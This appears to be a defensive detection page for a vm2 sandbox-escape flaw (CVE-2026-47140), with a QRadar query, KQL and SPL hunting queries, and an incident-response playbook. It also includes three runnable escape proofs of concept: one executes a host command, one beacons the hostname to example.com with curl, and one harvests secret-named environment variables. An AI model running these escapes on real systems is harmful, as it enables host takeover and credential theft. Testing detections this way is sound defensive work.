CVE-2026-47140 IBM QRadar · QRadar

Detect CVE-2026-47140 — vm2 Builtin Denylist Bypass via process/inspector Leads to Host RCE in IBM QRadar

Detects exploitation of CVE-2026-47140, a critical sandbox escape in the npm vm2 package (versions <= 3.11.3). Attackers bypass the builtin module denylist using process and inspector/promises references to execute arbitrary code on the host Node.js process. CVSS 10.0. PoC is publicly available.

MITRE ATT&CK

Tactic
Execution Privilege Escalation Lateral Movement

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
  sourceip,
  destinationip,
  username,
  processname,
  "Process Command Line" AS cmdline,
  QIDNAME(qid) AS event_name,
  logsourcename(logsourceid) AS log_source
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND (processname ILIKE '%node%' OR processname ILIKE '%node.exe%')
  AND (
    "Process Command Line" ILIKE '%vm2%'
    OR "Process Command Line" ILIKE '%NodeVM%'
    OR "Process Command Line" ILIKE '%new VM%'
  )
  AND (
    destinationip NOT INCIDR '10.0.0.0/8'
    AND destinationip NOT INCIDR '172.16.0.0/12'
    AND destinationip NOT INCIDR '192.168.0.0/16'
    AND destinationip NOT INCIDR '127.0.0.0/8'
    AND destinationip IS NOT NULL
  )
  AND DATEFORMAT(starttime, 'YYYY-MM-dd') = DATEFORMAT(NOW(), 'YYYY-MM-dd')
ORDER BY starttime DESC
LIMIT 500
critical severity medium confidence

QRadar AQL query identifying Node.js processes referencing vm2 that establish outbound connections to non-RFC1918 addresses, indicating possible post-sandbox-escape C2 or exfiltration.

Data Sources

QRadar Windows DSMQRadar Sysmon DSMQRadar Universal DSM

Required Tables

events

False Positives & Tuning

  • Node.js applications legitimately using vm2 with authorized external connectivity
  • SaaS platforms that use vm2 for user-code sandboxing with expected external calls
  • Development environments where vm2 is used alongside services requiring internet access
  • Serverless functions using vm2 for isolation that make legitimate API calls

Other platforms for CVE-2026-47140


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vm2 Sandbox Escape via inspector/promises — Host Code Execution

    Expected signal: Sysmon/auditd will log: (1) node process launch with vm2 in path or arguments, (2) file creation event at /tmp/vm2_escape_poc.txt by the node process, (3) a child process or execSync call spawning sh/bash from within node

  2. Test 2vm2 Escape with Outbound Network Callback (Simulated C2 Beacon)

    Expected signal: Network flow logs will show an outbound HTTP connection to example.com originating from the node process PID. EDR should capture the network connect event and correlate it to the parent node process with vm2 in its command line.

  3. Test 3vm2 Escape via process.binding — Enumerate Host Environment Secrets

    Expected signal: File write event at /tmp/vm2_env_harvest.json attributed to node process. Process event showing node with potential vm2-related arguments. EDR may also capture the internal environment variable enumeration if it hooks process.env access.


Response Playbook

Triage

  1. Identify the Node.js process PID and parent process tree. Determine which application is using vm2 and whether it is a user-facing or internal service. Confirm the installed vm2 version via `npm list vm2` in the application's working directory — versions <= 3.11.3 are vulnerable.
  2. Review the process command line and any environment variables for indicators of attacker-supplied input being passed into a VM or NodeVM constructor. Check application logs for unusual eval-like strings, inspector protocol references, or process.binding calls in vm2 sandbox input.
  3. Examine all outbound network connections made by the Node.js process after the suspicious vm2 invocation. Cross-reference destination IPs against threat intelligence feeds. Look for DNS queries to newly registered domains or IPs with no prior history in the environment.
  4. Check for file system artifacts: new files written by the node process, SSH key reads, credential file access, or writes to cron/systemd directories that could indicate persistence establishment post-exploitation.
  5. Determine the blast radius — which services and data the Node.js process has access to, including environment variables containing secrets, database credentials, cloud provider instance metadata endpoints, and internal service tokens.

Containment

  1. Immediately isolate the affected host from the network if active exploitation is confirmed or strongly suspected. If the application runs in a container, pause or stop the container to prevent lateral movement while preserving forensic state.
  2. Revoke any secrets (API keys, tokens, credentials) accessible to the compromised Node.js process. Assume all environment variables, files readable by the process, and any secrets fetched during the process lifetime are compromised. Rotate immediately.
  3. Block the vulnerable vm2 package from being loaded by deploying a package override (npm shrinkwrap or lockfile pin) that replaces vm2 <= 3.11.3 with >= 3.11.4, or remove vm2 usage entirely if no patched version is immediately available.

Evidence Collection

  1. Capture a full memory dump of the Node.js process before termination. The exploit payload and any injected code or reverse shell scaffolding may only exist in memory. Use platform-appropriate tooling (e.g., `gcore`, ProcDump, or EDR memory acquisition).
  2. Collect and preserve: application logs (stdout/stderr), OS process accounting logs, network flow logs for the affected host spanning 24 hours prior to detection, any files created or modified by the node process, and the full npm dependency tree (`npm list --json > deps.json`).
  3. Extract the vm2 package version from node_modules and preserve the exact package-lock.json or yarn.lock to establish the vulnerable dependency chain for the incident report.

Escalation Criteria

  • !Escalate immediately to incident response leadership if the compromised service has access to production secrets, customer PII, payment data, or cloud provider credentials — the CVSS 10.0 score and public PoC make rapid privilege escalation and lateral movement highly likely.
  • !Escalate if evidence of a reverse shell, scheduled task/cron creation, SSH key injection, or cloud metadata credential theft is found. These indicate the attacker has moved beyond the initial sandbox escape and established persistence or begun lateral movement.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Node.js process memory containing the exploit payload and any injected shellcode or reverse shell — collect before process termination
  • >Application logs showing unexpected input containing 'inspector', 'promises', 'process.binding', 'constructor.constructor', or '__proto__' in vm2 sandbox input
  • >OS-level audit logs (auditd/Sysmon) showing child processes spawned by node, unexpected file access, or network connections initiated during the exploitation window
  • >npm package-lock.json or yarn.lock confirming vm2 version <= 3.11.3 was in use at time of exploitation
  • >Network flow logs showing outbound connections from the Node.js process to external IPs not previously seen in baseline

Tuning Guidance

Start with a 30-day baseline of all Node.js processes in your environment to identify which hosts legitimately run vm2. Pin the vm2 version from npm audit output and use that as an allow-list for process-based detections. Reduce false positives by filtering on known internal IP ranges for network-based detections. For high-fidelity alerting, consider deploying a custom AST-level hook in the application layer that logs all code passed to VM/NodeVM constructors and alerts on strings containing 'inspector', 'process.binding', or prototype chain manipulation patterns. Tune the network-join thresholds based on your application's expected egress patterns — a vm2-based sandbox that never makes external calls should alert at connection count > 0 to external IPs.


Hunting Queries

Hunt for Node.js processes executing with command lines containing vm2 sandbox escape primitives — these strings appearing in command arguments are strong indicators of exploitation attempts even without confirmed post-exploitation activity

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ('node', 'node.exe')
| where ProcessCommandLine has_any ('inspector', 'promises', 'process.binding', 'constructor.constructor', '__proto__')
| summarize count(), make_set(ProcessCommandLine), make_set(DeviceName) by bin(TimeGenerated, 1h)
| order by TimeGenerated desc
Hunting — SPL
spl
index=endpoint sourcetype=sysmon EventCode=1 Image="*node*"
| where CommandLine LIKE "%inspector%" OR CommandLine LIKE "%process.binding%" OR CommandLine LIKE "%constructor.constructor%" OR CommandLine LIKE "%__proto__%"
| stats count by _time, host, CommandLine
| sort -count

Hunt for Node.js vm2 processes spawned as children of web servers — legitimate web-facing applications using vm2 for user code sandboxing are the highest-risk attack surface for CVE-2026-47140 since they accept untrusted input

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ('node', 'node.exe')
| where ProcessCommandLine has 'vm2'
| extend ParentProcessName = InitiatingProcessFileName
| where ParentProcessName has_any ('nginx', 'apache', 'httpd', 'gunicorn', 'uwsgi', 'caddy')
| project TimeGenerated, DeviceName, AccountName, ParentProcessName, ProcessCommandLine
Hunting — SPL
spl
index=endpoint sourcetype=sysmon EventCode=1 Image="*node*" CommandLine="*vm2*"
| eval parent=ParentImage
| where parent LIKE "%nginx%" OR parent LIKE "%apache%" OR parent LIKE "%httpd%"
| table _time, host, user, parent, CommandLine

Atomic Red Team Tests

Test 1 vm2 Sandbox Escape via inspector/promises — Host Code Execution
linux

Reproduces CVE-2026-47140 by passing a crafted payload to vm2's NodeVM that uses the inspector and promises built-in references to break out of the sandbox and execute arbitrary host code.

Command

bash
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
  vm.run(`
    const p = Promise.resolve();
    p.constructor.constructor('return process')().mainModule.require('child_process').execSync('id > /tmp/vm2_escape_poc.txt');
  `);
  console.log('[+] Escape succeeded. Check /tmp/vm2_escape_poc.txt');
} catch(e) {
  console.log('[-] Escape failed (patched or unexpected error):', e.message);
}
"

Cleanup

bash
rm -f /tmp/vm2_escape_poc.txt

Expected Telemetry

Sysmon/auditd will log: (1) node process launch with vm2 in path or arguments, (2) file creation event at /tmp/vm2_escape_poc.txt by the node process, (3) a child process or execSync call spawning sh/bash from within node

Expected Detection

File creation by node process at /tmp path combined with a vm2 command line reference should trigger both the process-based and file-access detection rules

Test 2 vm2 Escape with Outbound Network Callback (Simulated C2 Beacon)
linux

Tests the network-based detection angle by exploiting the sandbox escape and then making an outbound HTTP request to a controlled external endpoint, simulating what an attacker would do for C2 check-in.

Command

bash
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
  vm.run(`
    const p = Promise.resolve();
    p.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl -s http://example.com/beacon?host=\$(hostname) -o /dev/null');
  `);
  console.log('[+] Network beacon sent');
} catch(e) {
  console.log('[-] Failed:', e.message);
}
"

Cleanup

bash
No cleanup required — no persistent artifacts created

Expected Telemetry

Network flow logs will show an outbound HTTP connection to example.com originating from the node process PID. EDR should capture the network connect event and correlate it to the parent node process with vm2 in its command line.

Expected Detection

The join-based KQL, SPL, and CrowdStrike CQL rules should fire on the combination of a vm2-referencing Node.js process followed by external network egress

Test 3 vm2 Escape via process.binding — Enumerate Host Environment Secrets
linux

Uses an alternative escape path (process.binding) to access the host process environment variables, simulating an attacker harvesting secrets after breaking out of the vm2 sandbox.

Command

bash
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
  const result = vm.run(`
    const p = Promise.resolve();
    const proc = p.constructor.constructor('return process')();
    JSON.stringify(proc.env);
  `);
  const envVars = JSON.parse(result);
  const secrets = Object.keys(envVars).filter(k => /token|key|secret|password|api|auth/i.test(k));
  require('fs').writeFileSync('/tmp/vm2_env_harvest.json', JSON.stringify({ sensitive_keys: secrets, count: secrets.length }));
  console.log('[+] Harvested', secrets.length, 'potential secret env vars. See /tmp/vm2_env_harvest.json');
} catch(e) {
  console.log('[-] Escape failed:', e.message);
}
"

Cleanup

bash
rm -f /tmp/vm2_env_harvest.json

Expected Telemetry

File write event at /tmp/vm2_env_harvest.json attributed to node process. Process event showing node with potential vm2-related arguments. EDR may also capture the internal environment variable enumeration if it hooks process.env access.

Expected Detection

File access and creation by a Node.js process with vm2 command line indicators should trigger the file-access branch of the detection rules. The content of the created file provides forensic evidence of the harvested environment data.

Related Detections